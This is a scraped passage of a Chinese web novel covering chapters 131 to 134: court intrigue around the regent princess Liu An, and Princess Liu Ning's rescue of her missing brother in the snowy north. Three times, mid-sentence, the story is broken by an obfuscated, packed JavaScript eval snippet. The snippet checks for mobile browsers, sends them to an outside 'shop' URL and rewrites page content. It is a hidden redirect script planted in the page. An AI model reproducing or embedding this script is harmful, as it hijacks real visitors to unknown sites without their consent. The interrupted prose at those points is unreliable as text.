程显默不作声,脸色逐渐阴沉。 王落儒心里还压着件大事,没工夫再理会程显,直言道:“殿下,臣还有要事奏禀,事关栾南。” 说罢,王落儒回头瞥了眼跟来的官员们,眼中之意,不言而喻。 刘安病体未愈,再加上劳心劳神,难免咳嗽两声。 温嘉诚注意到刘安的不适,忙道:“殿下,此事机密,还望殿下移步。” 外殿宽阔,若要如内殿般暖和,着实要费不少的炭火。战事当前,万事节俭,过多的炭火也着实没有必要。 温嘉诚这才提议换入内殿暖和的书房。 刘安会意,当即遣散诸臣,独留下温嘉诚、王落儒、程显三人。 刘安才刚坐稳,王落儒便急不可耐开口道:“殿下,诚王称病突发隐疾,无法参加年终尾祭,诚王不来,一切的筹谋都将落空。” “称病?”刘安冷哼一声,身子后倾,倚在靠背上:“几十年了,可从未听说过诚王叔有什么隐疾,怎么陛下才一下旨他便突发隐疾呢?” 刘安眼珠转向程显,言有所指:“该不会是有人透露了消息吧?” 闻听此言,王落儒也不由得侧头看向程显,独独他最可疑。 程显丝毫不惧,甚是淡然。 在这件事儿上,他清清白白,再者,即便是他与诚王暗中有往来,刘安又能奈他何? 她若真有本事,今日他程显哪里能光明正大地站在这里? 程显道:“殿下,如今最要紧的,是该如何应对诚王称病,至于该该怎么查泄密一事,还请再往后放放。” “再宣!”刘安撑着额头,稍稍闭上眼,回了下神,而后带了些许愠色:“诚王称病,世子可没病,诚王不来,那便宣诚王世子来,世子不来,那便再宣诚王世孙来!” 程显抬眼便注意到刘安的疲惫,自然不肯放过任何一个机会,眼珠一转,再追问道:“如此便可——” “去办吧。”刘安打断,冷冷抛下这一句,而后阖上疲惫的眼睛。 温嘉诚拦住继续追问的程显:“程大人,太傅大人,这就去请陛下的旨意吧。” 程显斜了温嘉诚一眼,垂头轻笑一声。反正,刘安已是强弩之末,倒也不急于这一时。 “温相所言有理。” 温嘉诚与程显并肩而退。 王落儒依旧站在原地,并未跟上温嘉诚与程显二人。 莲音轻轻碰了下刘安的胳膊,刘安缓缓睁开眼,环顾了下四周,见王落儒一动不动,不免错愕,皱眉道:“太傅大人可是还有事要奏?” 听闻此言,温嘉诚与程显双双回头,两人视线短暂交织,满是对对方的不屑,又各自翻了个白眼避开,生怕多看一眼。 王落儒察觉到温嘉诚与程显二人脚步的停顿,道了声:“殿下。”而后轻轻摇头。 刘安摆摆手,屏退温嘉诚与程显,二人依令退下。 待退出内殿,温嘉诚理正衣冠,随口问道:“程大人,也不知太傅大人要与殿下说些什么,竟连你我二人也听不得。” 程显面上带笑,挑拨道:“我听不得也就罢了,怎么连温相——大长公主的左膀右臂也听不得呢?” 温嘉诚不以为意,笑笑道:“怎么?王太傅与程大人今日一同前来面见殿下,竟未商量好说辞吗?看来太傅藏私了呀!” 程显呵呵干笑两声,同样不以为意。 他当然知道王落儒接下来要说的话,无非是让刘安退位还政一类的说辞,只是他实在没必要告诉温嘉诚。 “哈哈——”程显一边笑,一边抬脚迈过殿门,道:“温相,还是快快去面见陛下吧!诚王的事,拖不得。” 行进间,不想一宫侍只顾低头走路,满满一壶茶水浇在程显身上。 “都是奴的错。”宫侍忙跪下,连声求饶:“还望程相大人有大量!” 程显垂眼看着浸湿的裙袍,瞪了眼犯错的宫侍,碍于是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274328|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刘安的福康宫,不好发作,便故作大度道:“以后多长些心吧。” “程大人都不计较了,还不快退下!”温嘉诚冷冷瞥了眼程显,瞥了眼程显腿边晕开一大片的官服,仅冷哼一声,一甩衣袖,大步流星迈出殿门,自顾自离开福康宫。 程显本是志得意满,平白无故被这么个宫侍坏了心情,又不能惩处,脸色阴沉了几个度。 “奴……奴为大人擦干……”说着,宫侍垂首,慌忙上手擦拭。 “什么东西!”程显低声骂了句,甩手推开。 “我和大人一样,都是人,不是东西。”宫侍冷哼一声,抬眼看向程显。 听闻此言,程显也忍不下去了,伸手死死钳住宫侍的下巴,他倒想看看是哪个宫侍如此不知天高地厚。 谁料当看清此人的脸后,心下一惊,惊得松手。 “是你?” “大人还记得我。” “钱衡量?” “正是在下。”钱衡量跪在雪地里,梗着脖子,死死盯着程显对程显的恨意都快要溢出眼眶。 程显警惕地环顾四周,幸而是下雪天,室外的宫人并不多,仅零星两三个,还形色匆匆,并未朝他们这里看过来。 “你怎么在这里?”程显紧盯着钱衡量,压低声音问道。 钱衡量是二殿下刘仲的幕僚,自从二殿下被监禁后便失踪了,不想今日竟在宫里,还是在福康宫见到了他。 “大人见到我,很吃惊?” “先起来,这里不是说话的地方,你闲了出宫来找我,我有许多话要问你。” 钱衡量甩开程显伸来的双手,眼神始终没离开程显的眼睛,缓缓站起身:“不必。今日我只说一句,还望大人莫要擅自行动,坏了我的谋划。” “你的谋划?”程显上下打量番钱衡量,甚是不屑地冷嗤一声,“你的谋划便是入宫来做男不男女不女的阉人?” “哼哼,当真是好谋划呢。”程显撞开钱衡量,嫌恶地拍了拍接触过钱衡量的衣袖,自顾自离开。 这是钱衡量的痛!容不得程显这般调笑。 钱衡量当即怒了,但碍于他身处福康宫内,不免强压下怒气,小跑着追上,低声恨恨道:“当日若不是你,殿下何故到今日这般境地?” “若不是你,殿下早就登上九五之尊了!” 程显知道钱衡量嘴里的殿下是谁,不由得停住脚,回头看了钱衡量一眼,余光瞥见了正探头看过来的莲亭,一甩衣袖,留下了一声“哼”。 见着程显远去,莲亭好奇地凑过来:“你刚才同他说什么?把他气成这个样子?真是解气!” 钱衡量见是莲亭,不由得舒了口气。幸好是她,若换作是莲音、莲房两个,只怕要怀疑他。 钱衡量故作轻松道:“没什么,我看他不顺眼,洒了他一身水,杀杀他的威风,天寒地冻,他也不好受。他碍于殿下的情面,又不好发作。” 莲亭乐道:“真没想到,你还有这样的心思!” 忽而内殿一声茶盏碎裂的声音,二人皆是一惊,忙噤声朝着内殿的方向看去。 “当初是老臣求殿下垂帘听政没错,可如今陛下登基数余年,已不是当年的稚子,殿下应当放手,退位还政!不可再插手朝政。”王落儒争得面红耳赤,抬脚踏上碎瓷片,声音高亢,丝毫不让。 132. 御下(七)权争北征 话不投机半句多! 刘安胸腔内憋了一团火,胸口剧烈起伏,眼睛睁得浑圆,怒视着王落儒。 好,好,好得很! 用着她的时候求着她理政,用不着的时候便想撇开她?当她是什么? 天底下没有这样的事! “我这弟弟,尚未束发的年纪,如何能担大任?当初父皇说的可是要本宫辅佐弟弟至及冠之年!”刘安搬出承道帝临终前的话,甚是犀利道:“太傅当日也在,不会忘了父皇曾说过什么吧?” “再者——”王落儒知道,若是自己回应,便会被刘安牵着鼻子走,故而并不理会刘安所言。 刘安声音拉高,呛声道:“太傅不也还求着本宫打理朝政吗?如今北征战事未平,本宫如何能放心地还政?如何能放心地将江山社稷还给弟弟?” 听着刘安提及北征,这也正是他想说的,王落儒忙接话道:“北征一事足以见殿下之短见!定北王北征失利,朝中一片非议。当初可是殿下力推北征一事,可如今……” 王落儒连连摇头,言辞激烈道:“殿下实在不宜再监国理政!” 刘安咽下喉咙里涌上来的一口腥甜,语气里听不出情绪:“北征战事未定,你们急什么?” “焉知此不是本宫与定北王的计谋?”刘安急着辩驳,口不择言。 这话才一出口,自己也是愣住。 今日她逞了一时的口舌之快,谎称北征种种皆是她的计谋,若是战胜还好,可若是北征战败,她又该…… 刘安她不敢想,就连王落儒是什么时候离开福康宫的她也未多在意。 “计谋?”康佑帝刘绥听了王落儒的转述,噗嗤一声乐出来,“大姐姐当真这般说?” 刘绥下意识看向身旁的蔡岑,蔡岑仅眼珠转动,示意刘绥要谨慎行事,毕竟温嘉诚是大长公主的人,程显是个直臣,可都不是他们的人。 两个人之间的互动落在王落儒眼里,使得王落儒想起杨仕鑫曾说的,陛下身边常常有一妖冶无状的宫女侍奉。 先前他还以为是冯珍,不想近来再看,冯珍不再在陛下身边,反而换成了面前这位,看样子杨仕鑫说的应该是她。 王落儒眼神逐渐锐利。 正垂头默不作声研墨的蔡岑被这眼神盯得有些不自在,心里惴惴不安。 王落儒为人最是酸腐,先前孝懿太子不过贪玩了会儿,便挨了一顿手板子,若是让王落儒认出她,认出她是颖州蔡氏的女儿,认出她的罪奴身份…… 蔡岑头压得更低了,生怕被王落儒认出来。 刘绥抬眼,眉头压低看向王落儒,又扫了眼面前的温嘉诚、程显等人,收敛起笑意,”啧“了一声,将众人目光聚焦在他身上。 刘绥板着张脸,面无表情道:“大姐姐当然有她的谋略了。” “那定北王的事,便交由大姐姐全权处理好了。”刘绥大拇指掐了下笔杆,“至于栾南,朕已按着大姐姐的吩咐,给栾南又下了一道圣旨,至于诚王是遵旨还是抗旨,还得大姐姐给出应对之策。” 刘绥甚是不耐地摆摆手:“朕累了,都退下吧。” “陛下,老臣还有话要说。”王落儒道。 刘绥深吸一口气,同时叫住温嘉诚、程显两人:“两位丞相不妨也听听看。” 快要退下的温嘉诚、程显两个,不由得顿足,侧耳倾听。 “陛下,今日大长公主倒是提醒了臣。登基数载,明年便是束发的年纪,正值盛年,正是稳固国本之时。”王落儒话锋一转,道:“然则中宫之位空悬,老臣为陛下日夜忧心、为国忧心!还望陛下早早立后!” 王落儒说的激昂,刘绥听得却是直皱眉。 程显亦是皱起眉头,若是刘绥的皇后出身大族,背后有了皇后一族的助力,那对他、对二殿下来说,绝非好事。 温嘉诚甚是不解,看向王落儒,她常在殿下身边走动,怎么未曾听起殿下提及立后一事呢? 蔡岑听得手腕一颤,砚台里的墨汁溢出砚台,洒在刘绥才描摹好的字帖上,飞溅在刘绥的衣袖上。 墨汁一层层地晕染、浸透。 刘绥不动声色地收起袖子:“太傅,北征战事当前,诚王不臣之心在即,朕哪里还有旁的心思?” 王落儒还想伙同程显再说些什么,不料程显压根不搭茬,无奈,只得退而求其次,道:“陛下,即便眼下没有择立中宫的心思,好歹也得先做好准备吧,不如先派人将皇后所居的长秋宫收拾出来?” 自打孝懿太子薨逝后,孝懿太子的生母蔡氏便被圈禁在长秋宫,之后又牵涉进蔡桐叛乱一事中,长秋宫也就此荒废。 “朕累了累了!”刘绥面上平添了许多不耐。 “陛下!”眼见着刘绥脸色阴沉下来,王落儒也不好再说什么,皇帝近来行事乖张得很,已不似当初刚继位那般唯唯诺诺、听他训诫。 即便他身为太傅,即便他是托孤之臣。 罢了。 王落儒、温嘉诚、程显三人各自散去。 一见着温嘉诚从福宁殿出来,在旁候着的莲亭忙笑着迎上去。 跟着莲亭一起来的钱衡量一并跟上。 莲亭笑道:“温相,殿下宣召。” 程显扫了眼几人,目光最终落在钱衡量身上,化作一声“哼”,甩袖离开。 袖袍宽大,生生摔打在钱衡量身上。 莲亭探着头,直直盯着程显的背影,直至背影化作一个点,才敢恨恨道:“哼!神气什么啊!” 钱衡量默许地点点头。 温嘉诚拧起眉头,瞥了眼莲亭,犹豫再三,但想起今日种种,开口道:“莲亭,不得妄议!” “当心你们说的话都落在别人的耳朵里!” 莲亭嘟了嘟嘴,有些心虚,小声嘴硬道:“我……我说得很小声,他又不是顺风耳,听不见的。” 正说着,一队宫人从身后冒出头,从他们身边陆续经过。 温嘉诚眼神瞥向路过的宫人们,最终转回莲亭身上,眼中神情不言而喻。 温嘉诚苦口婆心道:“你是殿下的近侍,一言一行皆是代表殿下。” 说到此处,温嘉诚长叹一声,甚是无奈:“如今,不知多少双眼睛盯着福康宫呢!” “我知道了,多谢温相提点。”莲亭涨红了一张脸,低头看着鞋尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274329|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 积起来的雪。这样的话,从前莲音姐姐也说过。 自此,温嘉诚一行人一路上都没再说过什么话。 一路的沉默,只能听到“嘎吱嘎吱”的踩雪声。 所幸福宁殿与福康宫相距不远,沉默也没持续多久。 “殿下,温相来了。”莲音轻声唤道。 刘安缓缓睁开眼,放下扶额的手,甚是疲惫道:“嘉诚,皇帝那边说了什么?”才刚说完,便是一阵压抑的轻咳。 莲音忙递上手帕,轻轻抚着刘安的后背,为刘安顺气。 温嘉诚眉头都快连到一起了,眼中难掩担忧,道:“陛下说,北征一事,全交由殿下处理。” “好!”刘安慢慢攥紧手帕,瞬间来了精神,一副意料之中的神情,轻笑道:“我就知道,我这弟弟遇着难事,定会推过来,不过也正合我意。” 刘安话锋一转:“即刻起,再加派人手去找,活要见人死要见尸!即便是把整个北境翻个底儿朝天,也要找到定北王的踪迹!” “找!”又是一阵咳嗽,比之前的还要猛烈。 “找!”寒风呼啸而过,夹杂在寒风中的这声怒吼也显得尤为不起眼。 “继续找啊!”宁乐公主刘宁一脚踹在条案上,怒吼道。 “即便是将边境翻个底儿朝天,也要找到!”刘宁急得在营帐内转了一圈又一圈。 连日的寻找,虽说不是一无所获,可情况却不容乐观。 跟在定北王刘昶身边的人,刘昶所乘骑的战马,都有找到,可独独不见刘昶的踪迹。 心里的不安逐渐扩大,就怕刘昶落在胡人手中。 刘宁深思熟虑后:“我来带队!” “不可!”温国公何尝想不到这点,若定北王真落入胡人手中,那若是宁乐公主亲自去寻,岂不是自投罗网? 胡人手里挟持着两位皇室宗亲,大江岂不是又要节节败退?岂不是又要复前朝旧事? “此事并非儿戏,若是宁乐殿下也没了音讯,那老臣又还有什么颜面面见大长公主殿下?” 刘宁自嘲笑笑:“又有什么关系?只怕大姐姐早就忘了还有我这个妹妹吧,只怕大姐姐以为我早就醉死在什么地方了吧?” “若是我能换回七弟,不枉此生。” 七弟是北征的主将,是百姓心中的战神,是让胡人闻风丧胆的大江战神。 七弟于大江,比她更重要。 茫茫草原,本就难寻人,如今雪积得厚厚一层,白茫茫一片,更是难寻,难走。 刘宁带的一小队人马,掉队者六七人,余下四人,两人连人带马掉入陷阱,一人回去报信喊救兵,一人去前面打探迟迟没传回音讯。 刘宁守在陷阱旁,盯着地上厚厚一层白雪,一口烈酒下肚,翻身上马:“我去前面看看,你在这里等着咱们的人过来。” “切记,不要大喊大叫,免得被胡人发现。” 陷阱里面的士兵见着刘宁没了影儿,本想将刘宁人喊回来,但又怕惊动胡人,便压低声音,扯着嗓子,用气声喊道:“江六!江六!你去哪儿——” “别乱跑——” “我去找人!” 133. 御下(八)事有转机 大雪茫茫,想个找人何其艰难。 日头西斜,天色渐暗,茫茫雪地,仅剩下无边无际的暗。 刘宁的鞋袜早就湿透了,□□的马儿早就累得直喘气。 此时回营,还不知道会落到哪个陷阱里,只怕也很难回去,还是得找个遮风的地方避一避。 不过说来也巧,马儿驮着她,这一路摸索过来竟未踩中一处陷阱,真不愧是嫂嫂精心调理过的马儿。 刘宁伸直僵硬的手指,爱怜地抚摸了下马儿的鬃毛。 到底,是哥哥嫂嫂在庇佑她。 想到哥哥嫂嫂,刘宁鼻头突然一酸。 可谁知此时马儿突然停下,原地踏步,不肯再向前。 刘宁有些趔趄,待重新坐直了,忙朝四周看去,周围并未有什么一样,不免一阵纳罕。 这匹马虽说跟着她的时日短,可是她嫂嫂带来的几匹马儿中最为温顺聪敏的一匹,平时并不会这样。 刘宁翻身下马,才向前探了一步,可身后的马儿一口却死死咬住刘宁的衣裳。 刘宁意识到不对劲,拔出腰间的长剑,朝着前面的地上刺去—— “嗤——”长剑毫无阻拦地刺穿积雪,穿透所谓的地面。 是个陷阱! 刘宁一阵后怕,脚下不由得后撤一步。 马儿见她退离陷阱,也松开了嘴。 刘宁执着长剑,沿着方才刺穿的破口处往左往右各划数下,而后一手拽着缰绳,探出一只脚,用力踹在陷阱上。 只听得“轰隆”一声,伪装在陷阱上的木板、积雪坍塌。 好深的一个陷阱! 刘宁吹亮一个火折子,丢入陷阱中,火光一路向下,坑底一闪一闪的,还没等刘宁看清坑底的是什么,火光熄灭。 刘宁又吹亮一个火折子,这次看得清楚,竟是一排排冒着寒光的尖刺。 庆幸,是她先发现了这个陷阱。若是先锋队踩中,如七弟那般生死未卜,只怕军心不稳,战况就要逆转。 想到这儿,刘宁眼睛突然睁大,若是七弟不小心踩中了陷阱,凭他的身手,或许能逃出去。 这也难怪只寻到了他的马鞍。 他还活着……他还活着,他一定还活着! 忽而,地上出现一个黑影,呼呼刮过的寒风中,还夹杂着一声鹰啸。 刘宁猛然抬头,只见头顶的天空竟盘旋着一只鹰,那鹰正紧紧盯着她与马儿,将她们视作猎物。 刘宁周身瞬时紧绷。 胡人善训鹰,鹰的出现,说明胡人的营帐就在附近。 容不得多想,足以将她与马儿笼罩住的鹰,朝着她的方向,加速俯冲而来。 马儿察觉到危险,不安地挪动着蹄子,开始嘶鸣,开始加速。 刘宁跟着马儿的步伐,迈出几个大步子,而后收紧缰绳,借力一跃上马。 粗粝的缰绳划破早已僵硬的手背。刘宁已经顾不上许多,只知道自己要活。 尖锐地鹰爪逼近。 对生的本能反应,刘宁前倾趴下,紧紧抱着马儿脖子。 鹰爪划破刘宁后背的盔甲,没有过多停留,转而再次飞高,等着下次捉住猎物的机会。 刘宁知道,光凭躲,是逃不过的。眼见着鹰再次俯冲而来,不能在等,刘宁取下背后的弓箭,挽弓搭箭。 “嗖!”箭矢离弦。 可惜手指有些僵硬,原本瞄着鹰眼的箭矢有些偏颇,仅射中了鹰的腹部。 鹰中箭坠落,重重砸在雪中。 劫后余生,刘宁轻笑一声,调转马头,捡起还存有一息的鹰,鹰脚上还有一个刻着些胡文字样的金属环,看样子是胡人养的鹰。 顺手掂量一下,这只鹰有些重量。有了这只鹰,够她抗过今晚了。 “方才还发愁今夜是不是要冻死在这里,可巧你来了。”刘宁舔了下有些起皮的嘴唇,对上鹰的眼睛,眼中尽是得意。 也该她骄傲得意,仅凭一箭便射穿了这只被训练有素的鹰。 管这是谁的,中了她的箭,哪里还有活的可能? 刘宁一剑戳穿鹰的脖子,又一剑切断鹰爪,鹰脚处的金环随手丢在雪地里。 手背上不知是鹰的血,还是她的血,早已冻结成冰,血红的一层薄冰,紧紧扒在手背的皮肤上,一攥拳便疼得厉害。 壶中最后一口烈酒饮尽,得赶在日落前,尽快找到一处落脚的地方。 夜色更浓,许久不见鹰飞回来,呼廷聊赞亲自来寻,可谁知竟一无所获,看来得扩大范围才是。 想到他的鹰,呼廷聊赞不免有些懊恼,那可是他费了好大功夫才训练好的鹰! 才吃完鹰肉的刘宁听到远处些许的响动,忙撒雪扑灭燃着的火苗,紧接着扒开积雪,趴在地上仔细分辨。 确实有人,不过好在他们人数不多,且离得还有些距离,一时半会儿也过不来。 从看到陷阱,还有那头鹰时,刘宁便知自己已踏入胡人地界,本想混过一晚,不想今夜胡人这一小队人马出动,她可不敢再久留。 正如温国公所言,若是她被胡人抓住,战况便将逆转。 再者,今夜胡人出动,只怕大江边关的将士们还不知道呢,恐胡人会像上次那样连夜偷袭,她可不能坐视不管。 刘宁当即牵起马儿,调头就走。 直至天边泛着白,一人一马还在茫茫雪地中,一眼望不到头的白,白得晃眼。 迷迷糊糊的,刘宁上下眼皮一碰,脑袋一歪,趴在了马背上。 不知马儿驮着刘宁走了多久,只听得“扑通”一声,刘宁从马背上滑落,仰面躺在了雪地里,缰绳还死死攥在手里。 又不知过了多久,刘宁只觉得手心一阵温热,缓缓睁开眼,才发现是一只样貌极似狼的狗舔舐她的手心,身上盖着一大块兽皮,隐隐还有股腥膻味。 环顾四周,刘宁才发现自己躺在一块木排上。 “汪汪——”胸前的狗发现刘宁苏醒,叫了两声。 前头驱车的人回头看来,眼睛弯弯:“你醒了?” 是个女子,看装扮,还是个胡人,刘宁顿时警觉。 “你是大江人吧,看你有些面熟。”女子很是自来熟,虽说是胡人打扮,可说的确实流利地江朝语言。 女子很是和善,自顾自说道:“你是不知道,你在雪地里躺了好久,不过幸好你有匹好马,一直守在你身边。” 一说到马儿,女子满脸的得意自豪,就像这是她驯养的马儿一样。 “要不然,你就会像前几天我捡的那个人一样,早被雪冻透了,能不能活还是一回事儿呢。” 前几天……捡到的人……?刘宁怔怔看向女子。 “诶,他和你一样,也是大江人!”女子突然想到,兴冲冲道。 大江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17274330|198163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人! 刘宁眼睛忽然睁得浑圆,急得按住女子的肩膀,问道:“他人在哪儿?” 刘宁手劲很大,女子肩膀一阵痛,手中绳子一抖,突然的转向拉扯,前面拉扯的五六个狗子的绳子搅做一团,刘宁和那女子,还有木排上的狗子都滚到地上。 木排上码放整齐的柴火东一根西一根的,散落一地。 刘宁顾不得痛,慌忙起身,急着确认,走向女子,再问道:“你说的捡到的那个人,他在哪儿?他还活着,对吗?” “对吗?” 女子拍拍粘在身上的雪,一瘸一拐走向刘宁,答:“他现在在我打猎的屋子里,就在前面,我可以带你去。只是……”女子话一顿,吞吐道:“只是至今还没醒呢。” 还没醒……刘宁再次看向女子,若真是她捡到了七弟,那一切就都说得通了,也难怪她们找了这么久都没寻得七弟的踪迹。 只是,这人可信吗? 刘宁看向女子,目光逐渐转变为怀疑、审视。 趁其不备,刘宁率先出手,一个背摔,将女子按在雪地里,一手扼住女子喉咙:“我该信你吗?” 狗子聚集过来,围成一个圈,冲着刘宁“汪汪汪”地叫着。 一狗叫,群狗跟,顿时“汪汪”声不断。 “都闭嘴!”女子喝了一声,狗群乖乖闭嘴。 “你别怕,我没有恶意的。”女子连连摆手解释道,手腕处的珠串叮呤当啷一阵响。 饶是被刘宁这般按在地上,女子情绪也没过多的不悦。 反而是周围的狗群,一个个呲着牙、压低着尾巴,发出一声声低低的呜呜声。 女子跺了跺脚,驱散围着的狗子:“去去去!” 刘宁见状,慢慢松手懈力,依旧保持着警惕。 “若论起来,我家祖上也算是大江人。”女子生怕刘宁不信,解释道,“想当初,我家祖上跟着公主来和亲,便定居在这边了。” “你是……”刘宁知道了面前女子的身份了,“你是当初跟随和亲公主而来的工匠侍从们的后代?” “是啊!”女子满是自豪地拍着胸脯。 刘宁恍然,点点头。 早在大江建国初期,便派过一位和亲公主,有了和亲公主在大江与胡人之间调和,两国之间安稳了数年。 刘宁记得,她的嫂嫂还朝,便是和亲公主的后代。 有了和亲公主这一层关系,两人之间的关系瞬间拉近。 “前几年我们还朝公主还嫁给了你们的秦王,算起来,我们两国也算是亲上加亲啊!” “只是不知道为什么现在又突然打起来了。”女子一声叹息,继续处理着狗子身上打结的绳子。 刘宁跟着也是一声叹息,一起帮忙。 “说了这么久,还不知道你叫什么呢?”女子眼睛亮亮的,率先介绍道:“我叫萨丽娜尔。” 刘宁简短回道:“江六。” “啊?姓江啊!” 能听得出萨丽娜尔有些失落。 “看来我真是认错人了。”萨丽娜尔小声嘟囔着。 “什么?”刘宁不明白萨丽娜尔这话的意思。什么认错了人? “没什么。”萨丽娜尔摇摇头。 待两人坐上木排,头顶不知何时又出现了两只鹰,时而高飞时而盘旋。 “糟了!”萨丽娜尔顿时有些慌神。 134. 御下(九)误打误撞 “怕什么?大不了再射下来!”刘宁仰头看向空中的鹰,一个挑眉,取出背着的弓箭。 “不要!”萨丽娜尔死死按住刘宁的手,生怕刘宁真把鹰给射杀下来。 “这是我们呼廷聊赞王子驯的鹰。”萨丽娜尔脸上满是惊恐,就连手,也是抖的。 眼见着两只鹰交叠俯冲下来,萨丽娜尔忍痛割断两根绳子,而后紧紧抱着刘宁的肩膀,齐齐趴在木排上,躲在宽大的兽皮下面。 两只狗没了绳子束缚,自由狂奔。也最终被鹰爪抓住,飞上了天。 直至两只鹰再度飞至高空中,萨丽娜尔才敢探出脑袋。 萨丽娜尔放松下来,长舒一口气:“可算是躲过去了。” “不过是两只鹰罢了,你为什么这么怕?”刘宁不解。 萨丽娜尔道:“见了王子的鹰,就要像见了他人一样恭敬,以往大家还要向鹰行礼呢!” “只是这鹰毫无人性,一爪子下去,半边膀子就没了,天寒地冻的,人也离死不远了,大家为了活命,这才就不得不这么做。” “要是我们乌尔单于还在就好了……”萨丽娜尔声音渐弱。 刘宁知道乌尔单于,那是她嫂嫂还朝的父亲。 乌尔单于是那位和亲公主的后人,受和亲公主教诲,很是亲近大江,他在位时,也是两国关系最好的时候。 只可惜天不假年,乌尔单于早逝,传位于自己弟弟,也就是还朝的叔父,呼廷聊赞的父亲,如今的大单于。 “说起来还是你们大江好,听说你们大江的皇帝很爱护子民呢!”萨丽娜尔看向刘宁,眼里满是艳羡。 旋即萨丽娜尔又是无奈叹了口气:“要是我也能去你们大江就好了。” “我小妹妹就在你们大江呢,当初跟着还朝公主一起去的大江。”一说起小妹妹,萨丽娜尔瞬间来了精神,“只是也不知道她现在过得怎么样了?” 听到萨丽娜尔提到嫂嫂还朝,刘宁眼皮一跳。 当初京城叛乱,秦王府死伤一片,嫂嫂身边的陪嫁丫鬟都死在了那场叛乱中,独独只活了一个,就是养在沈韵身边的那尔丹。 不知萨丽娜尔的小妹妹是哪一个,或许已经…… 刘宁不知该怎么说,索性选择不提:“或许……过得还不错吧。” 萨丽娜尔脸上露出一个幸福的笑,还想再追问些细节,彼时一个小木屋出现在眼前,狗群停下。 “到了!”萨丽娜尔下了木排,指着小木屋道:“喏,我捡到的那个人就在里面。” 刘宁此时心跳扑通扑通的,她多希望那人就是刘昶,她多希望刘昶还活着。 “小心——”眼见着刘宁走路有些踉跄,险些摔倒,萨丽娜尔惊呼一声。 刘宁扶着门框,却迟迟不敢推开门,她怕,她怕那人不是刘昶,她怕希望破灭。 萨丽娜尔抱着柴火走来,用脚踢开木屋门,侧身进去,同时招呼刘宁道:“快进来吧!” 刘宁做足心理准备,缓缓挪动脚步靠近床上躺着的那人—— 床上躺着的就是她的七弟,刘昶,大江的定北王! 刘宁“哇”地一声哭出来,扑在刘昶身上,泣不成声。 “这……这是……这是我弟弟!这是我弟弟啊!” “他是我弟弟啊!” 只是刘昶脸色苍白,嘴唇也毫无血色,呼吸微乎其微。 若不是还有体温…… 萨丽娜尔探头看过来,不知该如何安慰,手在刘宁肩膀附近悬停许久,最终轻轻拍了拍刘宁:“你弟弟还有希望呢!” 刘宁抬起头,抹了把眼泪,朝着萨丽娜尔重重磕了三个响头:“多谢你救他,多谢!” “唉!不……不不不!”萨丽娜尔语无伦次地扶起刘宁。 “我也只能做这么多了,留他一口气,可是也治不好他。”萨丽娜尔无奈叹了声。 他们这个小部落,都是跟随和亲公主来胡的工匠侍从后代,身上流着两种血,因此不受胡人待见,被赶到这片不毛之地生存。 本来凭着自己的勤劳,耕耘了些许荒地,只是没想到连年的收成并不好,食不果腹。 再加上与大江开战,部落里不少人都被抓去军营,上了战场,做了冲锋兵。就连部落里的巫医都被抓走了。 她,也是实在没有办法了。 刘宁看着昏迷不醒的刘昶:“只要还有一口气,就一定能救活他!” “对了,这个给你!”萨丽娜尔突然想起,当初救下江六弟弟时,他手里还紧紧攥着一截绳子,看得出对他很重要。 萨丽娜尔在刘昶枕头下取出那截绳子,递到刘宁手里。 “喏,他一直握在手里的。” “这是……”刘宁接过,细细端详,眼神逐渐变得凝重,手逐渐握紧攥成拳。 这是绊马绳,江朝的。 她就说,七弟久经沙场,怎么会杳无音讯多日呢! “可能……还要麻烦你把我们两个送出去,越快越好。”刘宁看向萨丽娜尔,用近乎乞求的声音说道。 “呃……”萨丽娜尔有些犹豫,嘴巴蠕动一下,最终还是同意:“可以是可以,只是我的狗需要休整,而且现在它们也载不了三个人,也很难跑那么远的路。” “若是你能多等一会儿,我去找我阿娘阿婆,多带些狗子过来。” “我们得往西走,到走马关那里。我们部落东南边就是呼廷聊赞王子,若是被他发现那就不好了。” 萨丽娜尔他们部落亲近大江,为防止他们通敌,便在他们与大江之间横插了一个部落,眼下这个部落正归呼廷聊赞管。 刘宁并不大清楚胡人的这些弯弯绕绕,不过凭她对战局的了解,也觉得过走马关要好些。 大江与走马关西边的塔塔娜尔部落又开放了两三个通商道,两边关系还算平稳。 刘宁当即笑道:“好,那便麻烦你了。” “那……我能麻烦你一件事吗?”萨丽娜尔小心翼翼开口。 “你尽管开口。”刘宁笑道。 “麻烦你帮把送条项链给我小妹妹。” “我们这里有个习俗,凡女儿十五六时,要向部落的每一家求来一颗珠子,再用这些珠子串成一条项链,戴在女儿脖子上,以此来保佑女儿平安、幸福。”萨丽娜尔解释道,“我那小妹妹现在也有十六了,我阿娘阿婆早就准备好了项链。” 